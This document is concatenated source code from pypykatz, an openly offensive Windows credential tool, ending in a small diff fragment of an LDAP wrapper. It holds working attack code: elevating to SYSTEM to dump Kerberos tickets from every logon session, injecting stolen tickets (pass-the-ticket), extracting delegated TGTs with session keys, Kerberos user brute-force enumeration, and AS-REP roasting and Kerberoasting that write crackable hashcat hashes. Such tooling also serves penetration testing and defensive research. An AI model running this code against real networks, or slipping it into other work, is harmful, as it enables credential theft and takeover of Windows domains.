966 def InitializeSecurityContext(creds, target, ctx = None, flags = ISC_REQ.INTEGRITY | ISC_REQ.CONFIDENTIALITY | ISC_REQ.SEQUENCE_DETECT | ISC_REQ.REPLAY_DETECT, TargetDataRep = 0, token = None):
967 #print('==== InitializeSecurityContext ====')
968 #print('Creds: %s' % creds)
969 #print('Target: %s' % target)
970 #print('ctx: %s' % ctx)
971 #print('token: %s' % token)
972 def errc(result, func, arguments):
973 if SEC_E(result) in [SEC_E.OK, SEC_E.COMPLETE_AND_CONTINUE, SEC_E.COMPLETE_NEEDED, SEC_E.CONTINUE_NEEDED, SEC_E.INCOMPLETE_CREDENTIALS]:
974 return SEC_E(result)
975 raise Exception('%s failed with error code %s (%s)' % ('InitializeSecurityContext', result, SEC_E(result)))
976
977 _InitializeSecurityContext = windll.Secur32.InitializeSecurityContextA
978 _InitializeSecurityContext.argtypes = [PCredHandle, PCtxtHandle, PSEC_CHAR, ULONG, ULONG, ULONG, PSecBufferDesc, ULONG, PCtxtHandle, PSecBufferDesc, PULONG, PTimeStamp]
979 _InitializeSecurityContext.restype = DWORD
980 _InitializeSecurityContext.errcheck = errc
981
982 if target:
983 ptarget = LPSTR(target.encode('ascii'))
984 else:
985 ptarget = None
986 newbuf = SecBufferDesc()
987 outputflags = ULONG()
988 expiry = TimeStamp()
989
990 if token:
991 token = SecBufferDesc([SecBuffer(token)])
992
993
994 if not ctx:
995 ctx = CtxtHandle()
996 res = _InitializeSecurityContext(byref(creds), None, ptarget, int(flags), 0 ,TargetDataRep, byref(token) if token else None, 0, byref(ctx), byref(newbuf), byref(outputflags), byref(expiry))
997 else:
998 res = _InitializeSecurityContext(byref(creds), byref(ctx), ptarget, int(flags), 0 ,TargetDataRep, byref(token) if token else None, 0, byref(ctx), byref(newbuf), byref(outputflags), byref(expiry))
999
1000 data = newbuf.Buffers
1001
1002 return res, ctx, data, ISC_REQ(outputflags.value), expiry
1003
1004
1005 def get_ticket_cache_info_helper(lsa_handle, package_id, luid, throw = True):
1006 result = []
1007 message = KERB_QUERY_TKT_CACHE_REQUEST(luid)
1008 ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage(lsa_handle, package_id, message)
1009
1010 if ret_status != 0:
1011 if throw is True:
1012 raise WinError(LsaNtStatusToWinError(ret_status))
1013 return result
1014
1015 response_preparse = KERB_QUERY_TKT_CACHE_RESPONSE_SIZE.from_buffer_copy(ret_msg)
1016 if response_preparse.CountOfTickets > 0:
1017 #new class
1018 class KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY(Structure):
1019 _fields_ = [
1020 ("MessageType", DWORD),
1021 ("CountOfTickets", ULONG),
1022 ("Tickets", KERB_TICKET_CACHE_INFO * response_preparse.CountOfTickets)
1023 ]
1024
1025 response = KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY.from_buffer_copy(ret_msg)
1026 for ticket in response.Tickets:
1027 result.append(ticket.to_dict())
1028
1029 LsaFreeReturnBuffer(free_prt)
1030
1031 return result
1032
1033 def extract_ticket(lsa_handle, package_id, luid, target_name):
1034 message = retrieve_tkt_helper(target_name, logonid=luid)
1035 ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(lsa_handle, package_id, message)
1036
1037 ticket = {}
1038 if ret_status != 0:
1039 raise WinError(LsaNtStatusToWinError(ret_status))
1040 if len(ret_msg) > 0:
1041 resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg)
1042 ticket = resp.Ticket.get_data()
1043 LsaFreeReturnBuffer(free_ptr)
1044
1045 return ticket
1046
1047
1048 if __name__ == '__main__':
1049
1050 #luids = LsaEnumerateLogonSessions()
1051 #for luid in luids:
1052 # try:
1053 # session_info = LsaGetLogonSessionData(luid)
1054 # print(session_info)
1055 # except Exception as e:
1056 # import traceback
1057 # traceback.print_exc()
1058 # print(e)
1059 from pypykatz.commons.readers.local.common.privileges import RtlAdjustPrivilege
1060 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
1061 pm = ProcessManipulator()
1062
1063
1064
1065 #lsa_handle = LsaConnectUntrusted()
1066
1067 #package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos')
1068 #print(package_id)
1069 #message = KERB_PURGE_TKT_CACHE_REQUEST()
1070 #LsaCallAuthenticationPackage(lsa_handle, package_id, message)
1071 #LsaDeregisterLogonProcess(lsa_handle)
1072
1073 import sys
1074
1075 #print(LsaGetLogonSessionData(0))
1076 #retrieve_tkt_helper('almaaaaasaaaa')
1077
1078 #sys.exit()
1079
1080 pm.getsystem()
1081 lsa_handle = LsaRegisterLogonProcess('HELLOOO')
1082 pm.dropsystem()
1083 package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos')
1084
1085 with open('test_9.kirbi', 'rb') as f:
1086 ticket_data = f.read()
1087
1088 luid = 0
1089 message = submit_tkt_helper(ticket_data, logonid=luid)
1090 ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(lsa_handle, package_id, message)
1091
1092 print(get_lsa_error(ret_status))
1093 print(ret_msg)
1094
1095 #
1096
1097 #print(lsa_handle_2)
1098 #LsaDeregisterLogonProcess(lsa_handle_2)
1099
0
1 from pypykatz.kerberos.kirbiutils import parse_kirbi, print_kirbi
2 from pypykatz import logger
3 import os
4 import ntpath
5 import glob
6 import pprint
7 import platform
8 import datetime
9
10 from msldap.commons.url import MSLDAPURLDecoder
11
12 from minikerberos.security import KerberosUserEnum, APREPRoast, Kerberoast
13 from msldap.authentication.kerberos.gssapi import get_gssapi, GSSWrapToken, KRB5_MECH_INDEP_TOKEN
14 from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog
15 from minikerberos.common.spn import KerberosSPN
16 from minikerberos.common.creds import KerberosCredential
17 from minikerberos.common.target import KerberosTarget
18 from minikerberos.common.keytab import Keytab
19 from minikerberos.aioclient import AIOKerberosClient
20 from minikerberos.common.utils import TGSTicket2hashcat
21 from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart
22 from minikerberos.common.utils import print_table
23 from minikerberos.common.ccache import CCACHE, Credential
24
25
26 def process_target_line(target, realm = None, to_spn = True):
27 spn = KerberosSPN()
28 if to_spn is False:
29 spn = KerberosCredential()
30 line = target.strip()
31 if line == '':
32 return None
33 m = line.find('@')
34 if m == -1:
35 if realm is not None:
36 spn.username = line
37 spn.domain = realm
38 else:
39 raise Exception('User %s is missing realm specification and no global realm is defined!' % line)
40
41 else:
42 spn.username, spn.domain = line.split('@',1)
43 if realm is not None:
44 spn.domain = realm
45
46 return spn
47
48 def generate_targets(targets, realm = None, to_spn = True):
49 """
50 Takes a list of files or strings and generates a list of targets in <username>@<realm> format
51 """
52 for target in targets:
53 target = target.strip()
54 try:
55 open(target, 'r')
56 except:
57 x = process_target_line(target, realm = realm, to_spn = to_spn)
58 if x:
59 yield x
60 else:
61 with open(target, 'r') as f:
62 for line in f:
63 x = process_target_line(line, realm = realm, to_spn = to_spn)
64 if x:
65 yield x
66
67 def process_keytab(keytablfile):
68 with open(keytablfile, 'rb') as f:
69 kt = Keytab.from_bytes(f.read())
70 print(str(kt))
71
72 def list_ccache(ccachefile):
73 cc = CCACHE.from_file(ccachefile)
74 table = []
75 table.append(['id'] + Credential.summary_header())
76 i = 0
77 for cred in cc.credentials:
78 table.append([str(i)] + cred.summary())
79 i += 1
80 print() #this line intentionally left blank
81 print_table(table)
82
83 def roast_ccache(ccachefile, outfile = None):
84 cc = CCACHE.from_file(ccachefile)
85 if outfile:
86 with open(outfile, 'wb') as f:
87 for h in cc.get_hashes(all_hashes = True):
88 f.write(h.encode() + b'\r\n')
89 else:
90 for h in cc.get_hashes(all_hashes = True):
91 print(h)
92
93 def del_ccache(ccachefile, index):
94 output_filename = os.path.join(os.path.dirname(os.path.abspath(ccachefile)), '%s.edited.ccache' % ntpath.basename(ccachefile)) #sorry for this, im tired now :(
95 cc = CCACHE.from_file(ccachefile)
96 temp_cc = CCACHE()
97 temp_cc.file_format_version = cc.file_format_version
98 temp_cc.headerlen = cc.headerlen
99 temp_cc.headers = cc.headers
100 temp_cc.primary_principal = cc.primary_principal
101
102 for i, cred in enumerate(cc.credentials):
103 if i == index:
104 continue
105
106 temp_cc.credentials.append(cred)
107
108 logger.info('Writing edited file to %s' % output_filename)
109 temp_cc.to_file(output_filename)
110
111 def ccache_to_kirbi(ccachefile, kirbidir):
112 cc = CCACHE.from_file(ccachefile)
113 logger.info('Extracting kirbi file(s)')
114 cc.to_kirbidir(kirbidir)
115 logger.info('Done!')
116
117 def kirbi_to_ccache(ccachefile, kirbi):
118 try:
119 cc = CCACHE.from_file(ccachefile)
120 except FileNotFoundError:
121 cc = CCACHE()
122
123 abs_path = os.path.abspath(kirbi)
124 if os.path.isdir(abs_path):
125 logger.info('Parsing kirbi files in directory %s' % abs_path)
126 for kirbifile in glob.glob(kirbi + '*.kirbi'):
127 cc.add_kirbi(kirbifile)
128 else:
129 cc.add_kirbi(kirbi)
130
131 cc.to_file(ccachefile)
132
133 async def get_TGS(url, spn, out_file = None):
134 try:
135 logger.debug('[KERBEROS][TGS] started')
136 ku = KerberosClientURL.from_url(url)
137 cred = ku.get_creds()
138 target = ku.get_target()
139 spn = KerberosSPN.from_user_email(spn)
140
141 logger.debug('[KERBEROS][TGS] target user: %s' % spn.get_formatted_pname())
142 logger.debug('[KERBEROS][TGS] fetching TGT')
143 kcomm = AIOKerberosClient(cred, target)
144 await kcomm.get_TGT()
145 logger.debug('[KERBEROS][TGS] fetching TGS')
146 tgs, encTGSRepPart, key = await kcomm.get_TGS(spn)
147
148 if out_file is not None:
149 kcomm.ccache.to_file(out_file)
150 logger.debug('[KERBEROS][TGS] done!')
151 return tgs, encTGSRepPart, key, None
152 except Exception as e:
153 return None, None, None, e
154
155 async def get_TGT(url):
156 try:
157 logger.debug('[KERBEROS][TGT] started')
158 ku = KerberosClientURL.from_url(url)
159 cred = ku.get_creds()
160 target = ku.get_target()
161
162 logger.debug('[KERBEROS][TGT] cred: %s' % cred)
163 logger.debug('[KERBEROS][TGT] target: %s' % target)
164
165 kcomm = AIOKerberosClient(cred, target)
166 logger.debug('[KERBEROS][TGT] fetching TGT')
167 await kcomm.get_TGT()
168
169 cred = kcomm.ccache.credentials[0]
170 kirbi, filename = cred.to_kirbi()
171
172 return kirbi, filename, None
173 except Exception as e:
174 return None, None, e
175
176 async def brute(host, targets, out_file = None, show_negatives = False):
177 """
178 targets List<KerberosSPN>
179
180 """
181 try:
182 logger.debug('[KERBEROS][BRUTE] User enumeration starting')
183 target = KerberosTarget(host)
184
185 for spn in targets:
186 ke = KerberosUserEnum(target, spn)
187
188 result = await ke.run()
189 if result is True:
190 if out_file:
191 with open(out_file, 'a') as f:
192 f.write(result + '\r\n')
193 else:
194 print('[+] %s' % str(spn))
195 else:
196 if show_negatives is True:
197 print('[-] %s' % str(spn))
198
199 logger.info('[KERBEROS][BRUTE] User enumeration finished')
200 return None, None
201 except Exception as e:
202 return None, e
203
204
205 async def asreproast(host, targets, out_file = None, etype = 23):
206 """
207 targets List<KerberosSPN>
208
209 """
210 try:
211 logger.debug('[KERBEROS][ASREPROAST] Roasting...')
212 logger.debug('[KERBEROS][ASREPROAST] Supporting the following encryption type: %s' % (str(etype)))
213
214 ks = KerberosTarget(host)
215 ar = APREPRoast(ks)
216 hashes = []
217 for target in targets:
218 h = await ar.run(target, override_etype = [etype])
219 hashes.append(h)
220
221 if out_file:
222 with open(out_file, 'a', newline = '') as f:
223 for thash in hashes:
224 f.write(thash + '\r\n')
225 else:
226 print(h)
227
228 logger.info('[KERBEROS][ASREPROAST] Done!')
229 return hashes, None
230
231 except Exception as e:
232 return None, e
233
234 async def spnroast(url, targets, out_file = None, etype = 23):
235 """
236 targets List<KerberosSPN>
237
238 """
239 try:
240 logger.debug('[KERBEROS][SPNROAST] Roasting...')
241 if etype:
242 if etype == -1:
243 etypes = [23, 17, 18]
244 else:
245 etypes = [etype]
246 else:
247 etypes = [23, 17, 18]
248
249 logger.debug('[KERBEROS][SPNROAST] Using the following encryption type(s): %s' % (','.join(str(x) for x in etypes)))
250
251 ku = KerberosClientURL.from_url(url)
252 cred = ku.get_creds()
253 target = ku.get_target()
254 ar = Kerberoast(target, cred)
255 hashes = await ar.run(targets, override_etype = etypes)
256
257 if out_file:
258 with open(out_file, 'w', newline = '') as f:
259 for thash in hashes:
260 f.write(thash + '\r\n')
261
262 else:
263 for thash in hashes:
264 print(thash)
265
266 logger.info('[KERBEROS][SPNROAST] Done!')
267 return hashes, None
268
269 except Exception as e:
270 return None, e
271
272 async def s4u(url, spn, targetuser, out_file = None):
273 try:
274 logger.debug('[KERBEROS][S4U] Started')
275 cu = KerberosClientURL.from_url(url)
276 ccred = cu.get_creds()
277 target = cu.get_target()
278
279 service_spn = KerberosSPN.from_target_string(spn)
280 target_user = KerberosSPN.from_user_email(targetuser)
281
282 if not ccred.ccache:
283 logger.debug('[KERBEROS][S4U] Getting TGT')
284 client = AIOKerberosClient(ccred, target)
285 await client.get_TGT()
286 logger.debug('[KERBEROS][S4U] Getting ST')
287 tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
288 else:
289 logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE')
290 for tgt, key in ccred.ccache.get_all_tgt():
291 try:
292 logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))
293 client = AIOKerberosClient.from_tgt(target, tgt, key)
294
295 tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
296 logger.debug('[KERBEROS][S4U] Sucsess!')
297 except Exception as e:
298 logger.debug('[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e)
299 continue
300 else:
301 break
302
303 if out_file:
304 client.ccache.to_file(out_file)
305
306 logger.debug('[KERBEROS][S4U] Done!')
307 return tgs, encTGSRepPart, key, None
308
309 except Exception as e:
310 return None, None, None, e
0
1 import datetime
2
3 from winacl.functions.highlevel import get_logon_info
4 from msldap.commons.url import MSLDAPURLDecoder
5 from pypykatz.kerberos.functiondefs.asn1structs import InitialContextToken
6 from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat
7 from minikerberos.network.clientsocket import KerberosClientSocket
8 from minikerberos.common.target import KerberosTarget
9
10 from minikerberos.security import APREPRoast, Kerberoast
11 from minikerberos.common.creds import KerberosCredential
12 from minikerberos.common.target import KerberosTarget
13 from minikerberos.common.utils import TGSTicket2hashcat
14 from minikerberos.protocol.asn1_structs import AP_REQ, KRB_CRED, EncKrbCredPart, \
15 KRBCRED, Authenticator, KrbCredInfo, EncryptedData, TGS_REQ, AP_REP
16 from minikerberos.common.utils import print_table
17 from minikerberos.common.ccache import CCACHE, Credential
18 from minikerberos.protocol.structures import ChecksumFlags, AuthenticatorChecksum
19 from minikerberos.protocol.encryption import Key, _enctype_table
20
21
22 from pypykatz import logger
23 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
24 from pypykatz.kerberos.functiondefs.netsecapi import LsaConnectUntrusted, \
25 LsaLookupAuthenticationPackage, KERB_PURGE_TKT_CACHE_REQUEST, LsaCallAuthenticationPackage, \
26 LsaDeregisterLogonProcess, LsaRegisterLogonProcess, LsaEnumerateLogonSessions, \
27 LsaGetLogonSessionData, LsaFreeReturnBuffer, retrieve_tkt_helper, KERB_RETRIEVE_TKT_RESPONSE, \
28 get_lsa_error, get_ticket_cache_info_helper, extract_ticket, submit_tkt_helper, \
29 AcquireCredentialsHandle, InitializeSecurityContext, SECPKG_CRED, ISC_REQ, SEC_E, \
30 SecPkgContext_SessionKey, QueryContextAttributes, SECPKG_ATTR
31
32 from pypykatz.kerberos.functiondefs.advapi32 import OpenProcessToken, GetTokenInformation_tokenstatistics
33 from pypykatz.kerberos.functiondefs.kernel32 import GetCurrentProcessId, OpenProcess, CloseHandle, MAXIMUM_ALLOWED
34
35
36 class KerberosLive:
37 def __init__(self, start_luid = 0, helper_name = 'TOTALLY_NOT_PYPYKATZ'):
38 self.available_luids = []
39 self.current_luid = start_luid
40 self.original_luid = self.get_current_luid()
41 self.kerberos_package_id = None
42 self.helper_name = helper_name
43 self.__lsa_handle = None
44 self.__lsa_handle_is_elevated = None
45
46 self.get_kerberos_package_id()
47 self.list_luids()
48
49 def get_kerberos_package_id(self):
50 if self.kerberos_package_id is None:
51 lsa_handle = LsaConnectUntrusted()
52 self.kerberos_package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos')
53 LsaDeregisterLogonProcess(lsa_handle)
54
55 return self.kerberos_package_id
56
57 def __open_elevated(self):
58 if self.__lsa_handle_is_elevated is True:
59 return self.__lsa_handle
60
61 pm = ProcessManipulator()
62 try:
63 pm.getsystem()
64 except Exception as e:
65 raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e)
66
67 self.__lsa_handle = LsaRegisterLogonProcess(self.helper_name)
68 pm.dropsystem()
69 self.__lsa_handle_is_elevated = True
70 return self.__lsa_handle
71
72 def open_lsa_handle(self, luid, req_elevated = False):
73 if req_elevated is True:
74 if self.__lsa_handle_is_elevated is True:
75 return self.__lsa_handle
76 return self.__open_elevated()
77
78
79 if luid == 0 or self.original_luid == self.current_luid:
80 self.__lsa_handle = LsaConnectUntrusted()
81 self.__lsa_handle_is_elevated = False
82 else:
83 self.__open_elevated()
84
85 return self.__lsa_handle
86
87 def switch_luid(self, new_luid):
88 self.open_lsa_handle(0, req_elevated=True)
89 if new_luid not in self.available_luids:
90 if new_luid not in self.list_luids():
91 raise Exception('This luid is not known!')
92
93 self.current_luid = new_luid
94
95 #def get_ticket_from_cache(self, luid, targetname):
96 # self.open_lsa_handle(0, req_elevated=True)
97 # ticket_data = None
98 # msg_req_ticket = retrieve_tkt_helper(targetname, logonid = luid)
99 # ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, msg_req_ticket)
100 #
101 # #print('ret_msg %s' % ret_msg)
102 # #print('ret_status %s' % ret_status)
103 # if ret_status != 0:
104 # raise get_lsa_error(ret_status)
105 #
106 # if len(ret_msg) > 0:
107 # resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg)
108 # ticket_data = resp.Ticket.get_data()
109 # LsaFreeReturnBuffer(free_prt)
110 #
111 # return ticket_data
112
113 def get_ticketinfo(self, luid):
114 if luid == 0:
115 luid = self.original_luid
116 self.open_lsa_handle(luid)
117 ticket_infos = {}
118 ticket_infos[luid] = []
119 for ticket_info in get_ticket_cache_info_helper(self.__lsa_handle, self.kerberos_package_id, luid, throw = False):
120 ticket_infos[luid].append(ticket_info)
121
122 return ticket_infos
123
124 def get_all_ticketinfo(self):
125 self.open_lsa_handle(0, req_elevated=True)
126 ticket_infos = {}
127 for luid in self.list_luids():
128 if luid not in ticket_infos:
129 ticket_infos[luid] = []
130 for ticket_info in get_ticket_cache_info_helper(self.__lsa_handle, self.kerberos_package_id, luid, throw = False):
131 if ticket_info != []:
132 ticket_infos[luid].append(ticket_info)
133
134 return ticket_infos
135
136 def export_ticketdata_target(self, luid, target):
137 self.open_lsa_handle(luid)
138 return extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, target)
139
140 def export_ticketdata(self, luid):
141 if luid == 0:
142 luid = self.original_luid
143 ticket_data = {}
144 if luid not in ticket_data:
145 ticket_data[luid] = []
146
147 ticket_infos = self.get_all_ticketinfo()
148 for ticket in ticket_infos[luid]:
149 res = extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, ticket['ServerName'])
150 ticket_data[luid].append(res)
151
152 return ticket_data
153
154 def export_all_ticketdata(self):
155 self.open_lsa_handle(0, req_elevated=True)
156 ticket_infos = self.get_all_ticketinfo()
157 ticket_data = {}
158 for luid in ticket_infos:
159 if luid not in ticket_data:
160 ticket_data[luid] = []
161
162 for ticket in ticket_infos[luid]:
163 res = extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, ticket['ServerName'])
164 ticket_data[luid].append(res)
165 return ticket_data
166
167 def get_current_luid(self):
168 current_pid = GetCurrentProcessId()
169 process_handle = OpenProcess(MAXIMUM_ALLOWED, False, current_pid)
170 token_handle = OpenProcessToken(process_handle)
171 stats = GetTokenInformation_tokenstatistics(token_handle)
172 CloseHandle(process_handle)
173 return stats['TokenId']
174
175 def list_luids(self):
176 self.available_luids = LsaEnumerateLogonSessions()
177 return self.available_luids
178
179 def list_sessions(self):
180 for luid in self.available_luids:
181 try:
182 session_info = LsaGetLogonSessionData(luid)
183 print('USER "%s\\%s" SPN "%s" LUID %s' % (session_info.get('LogonDomain', '.'), session_info['UserName'], session_info['Upn'], hex(session_info['LogonId'])))
184 except Exception as e:
185 logger.debug('Failed to get info for LUID %s Reason: %s' % (luid, e ))
186 continue
187
188 def purge(self, luid = None):
189 luids = []
190 if luid is None:
191 self.open_lsa_handle(0, req_elevated=True)
192 luids += self.list_luids()
193 else:
194 luids.append(luid)
195 self.open_lsa_handle(luid)
196
197 for luid_current in luids:
198 message = KERB_PURGE_TKT_CACHE_REQUEST(luid_current)
199 message_ret, status_ret, free_ptr = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, message)
200 if status_ret != 0:
201 if len(luids) > 1:
202 continue
203 raise get_lsa_error(status_ret)
204 if len(message_ret) > 0:
205 LsaFreeReturnBuffer(free_ptr)
206
207 def submit_ticket(self, ticket_data, luid = 0):
208 self.open_lsa_handle(luid)
209 message = submit_tkt_helper(ticket_data, logonid=luid)
210 ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, message)
211 if ret_status != 0:
212 raise get_lsa_error(ret_status)
213
214 if len(ret_msg) > 0:
215 LsaFreeReturnBuffer(free_ptr)
216
217 def get_tgt(self, target = None):
218 if target is None:
219 logon = get_logon_info()
220 if logon['logonserver'] is None:
221 raise Exception('Failed to get logonserver and no target was specified! This wont work.')
222 target = 'cifs/%s' % logon['logonserver']
223
224 ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND)
225 res, ctx, data, outputflags, expiry = InitializeSecurityContext(
226 ctx,
227 target,
228 token = None,
229 ctx = ctx,
230 flags = ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH | ISC_REQ.ALLOCATE_MEMORY
231 )
232
233
234 if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
235 #key_data = sspi._get_session_key()
236 raw_ticket = self.export_ticketdata_target(0, target)
237 key = Key(raw_ticket['Key']['KeyType'], raw_ticket['Key']['Key'])
238 token = InitialContextToken.load(data[0][1])
239 ticket = AP_REQ(token.native['innerContextToken']).native
240 cipher = _enctype_table[ticket['authenticator']['etype']]
241 dec_authenticator = cipher.decrypt(key, 11, ticket['authenticator']['cipher'])
242 authenticator = Authenticator.load(dec_authenticator).native
243 if authenticator['cksum']['cksumtype'] != 0x8003:
244 raise Exception('Checksum not good :(')
245
246 checksum_data = AuthenticatorChecksum.from_bytes(authenticator['cksum']['checksum'])
247 if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags:
248 raise Exception('delegation flag not set!')
249
250 cred_orig = KRB_CRED.load(checksum_data.delegation_data).native
251 dec_authenticator = cipher.decrypt(key, 14, cred_orig['enc-part']['cipher'])
252 #info = EncKrbCredPart.load(dec_authenticator).native
253
254 #reconstructing kirbi with the unencrypted data
255 te = {}
256 te['etype'] = 0
257 te['cipher'] = dec_authenticator
258 ten = EncryptedData(te)
259
260 t = {}
261 t['pvno'] = cred_orig['pvno']
262 t['msg-type'] = cred_orig['msg-type']
263 t['tickets'] = cred_orig['tickets']
264 t['enc-part'] = ten
265
266 cred = KRB_CRED(t)
267 return cred.dump()
268
269 def get_apreq(self, target):
270 ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND)
271 res, ctx, data, outputflags, expiry = InitializeSecurityContext(
272 ctx,
273 target,
274 token = None,
275 ctx = ctx,
276 flags = ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION
277 )
278 if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
279 sec_struct = SecPkgContext_SessionKey()
280 QueryContextAttributes(ctx, SECPKG_ATTR.SESSION_KEY, sec_struct)
281 key_data = sec_struct.Buffer
282 #print(data[0][1].hex())
283
284 ticket = InitialContextToken.load(data[0][1]).native['innerContextToken']
285 return AP_REQ(ticket), key_data
286
287
288 async def live_roast(outfile = None):
289 try:
290 logon = get_logon_info()
291 domain = logon['domain']
292 url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
293 msldap_url = MSLDAPURLDecoder(url)
294 client = msldap_url.get_client()
295 _, err = await client.connect()
296 if err is not None:
297 raise err
298
299 domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.')
300 spn_users = []
301 asrep_users = []
302 errors = []
303 results = []
304 final_results = []
305 spn_cnt = 0
306 asrep_cnt = 0
307 async for user, err in client.get_all_knoreq_users():
308 if err is not None:
309 raise err
310 cred = KerberosCredential()
311 cred.username = user.sAMAccountName
312 cred.domain = domain
313
314 asrep_users.append(cred)
315 async for user, err in client.get_all_service_users():
316 if err is not None:
317 raise err
318 cred = KerberosCredential()
319 cred.username = user.sAMAccountName
320 cred.domain = domain
321
322 spn_users.append(cred)
323
324 for cred in asrep_users:
325 results = []
326 ks = KerberosTarget(domain)
327 ar = APREPRoast(ks)
328 res = await ar.run(cred, override_etype = [23])
329 results.append(res)
330
331 if outfile is not None:
332 filename = outfile + 'asreproast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
333 with open(filename, 'w', newline = '') as f:
334 for thash in results:
335 asrep_cnt += 1
336 f.write(thash + '\r\n')
337 else:
338 final_results += results
339
340 results = []
341 for cred in spn_users:
342 spn_name = '%s@%s' % (cred.username, cred.domain)
343 if spn_name[:6] == 'krbtgt':
344 continue
345 try:
346 ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name, SECPKG_CRED.OUTBOUND)
347 res, ctx, data, outputflags, expiry = InitializeSecurityContext(
348 ctx,
349 spn_name,
350 token = None,
351 ctx = ctx,
352 flags = ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION
353 )
354 if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
355 ticket = InitialContextToken.load(data[0][1]).native['innerContextToken']
356 else:
357 raise Exception('Error %s' % res.value)
358 except Exception as e:
359 print(e)
360 errors.append((spn_name, e))
361 continue
362 results.append(TGSTicket2hashcat(ticket))
363
364 if outfile is not None:
365 filename = outfile+ 'spnroast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
366 with open(filename, 'w', newline = '') as f:
367 for thash in results:
368 spn_cnt += 1
369 f.write(thash + '\r\n')
370
371 else:
372 final_results += results
373
374 return final_results, errors, None
375
376 except Exception as e:
377 return None, None, e
378
379
380 if __name__ == '__main__':
381 import glob
382 import sys
383
384 kl = KerberosLive()
385 kl.purge(0)
386 #x = kl.get_all_ticketdata()
387 #ctr = 0
388 #for luid in x:
389 # if x[luid] != []:
390 # for ticket in x[luid]:
391 # ctr += 1
392 # with open('test_%s.kirbi' % ctr, 'wb') as f:
393 # f.write(ticket['Ticket'])
394 #
395 #print(x)
396 #sys.exit()
397 for filename in glob.glob('*.kirbi'):
398 with open(filename, 'rb') as d:
399 ticket = d.read()
400 try:
401 kl.submit_ticket(ticket)
402 print('OK')
403 except Exception as e:
404 print(e)
405 input()
0
1
2 from minikerberos.protocol.asn1_structs import KRB_CRED, EncKrbCredPart, KRBCRED
3 import base64
4
5 def format_kirbi(data, n = 100):
6 kd = base64.b64encode(data).decode()
7 return ' ' + '\r\n '.join([kd[i:i+n] for i in range(0, len(kd), n)])
8
9 def describe_kirbi_data(data):
10 if isinstance(data, bytes):
11 kirbi = KRB_CRED.load(data).native
12 elif isinstance(data, dict):
13 kirbi = data
14 elif isinstance(data, KRB_CRED):
15 kirbi = data.native
16 elif isinstance(data, KRBCRED):
17 kirbi = data.native
18 else:
19 raise Exception('Unknown data type! %s' % type(data))
20
21 t = '\r\n'
22 for ticket in kirbi['tickets']:
23 t += 'Realm : %s\r\n' % ticket['realm']
24 t += 'Sname : %s\r\n' % '/'.join(ticket['sname']['name-string'])
25
26 if kirbi['enc-part']['etype'] == 0:
27 cred = EncKrbCredPart.load(kirbi['enc-part']['cipher']).native
28 cred = cred['ticket-info'][0]
29 username = cred.get('pname')
30 if username is not None:
31 username = '/'.join(username['name-string'])
32 flags = cred.get('flags')
33 if flags is not None:
34 flags = ', '.join(flags)
35
36 t += 'UserName : %s\r\n' % username
37 t += 'UserRealm : %s\r\n' % cred.get('prealm')
38 t += 'StartTime : %s\r\n' % cred.get('starttime')
39 t += 'EndTime : %s\r\n' % cred.get('endtime')
40 t += 'RenewTill : %s\r\n' % cred.get('renew-till')
41 t += 'Flags : %s\r\n' % flags
42 t += 'Keytype : %s\r\n' % cred['key']['keytype']
43 t += 'Key : %s\r\n' % base64.b64encode(cred['key']['keyvalue']).decode()
44
45 t += 'EncodedKirbi : \r\n\r\n'
46 t += format_kirbi(KRB_CRED(kirbi).dump())
47 return t
48
49 def print_kirbi(data):
50 print(describe_kirbi_data(data))
51
52
53
54 def parse_kirbi(kirbifile):
55 with open(kirbifile, 'rb') as f:
56 print_kirbi(f.read())
33 # Tamas Jos (@skelsec)
44 #
55
6 from pypykatz import logging
6 from pypykatz import logger
7 import asyncio
78
89 """
910 LDAP is not part of pypykatz directly.
10 This is a wrapper for msldap, ldap3 and winsspi packages
11 This is a wrapper for msldap
1112 """
13
14 class LDAPCMDArgs:
15 def __init__(self):
16 self.url = None
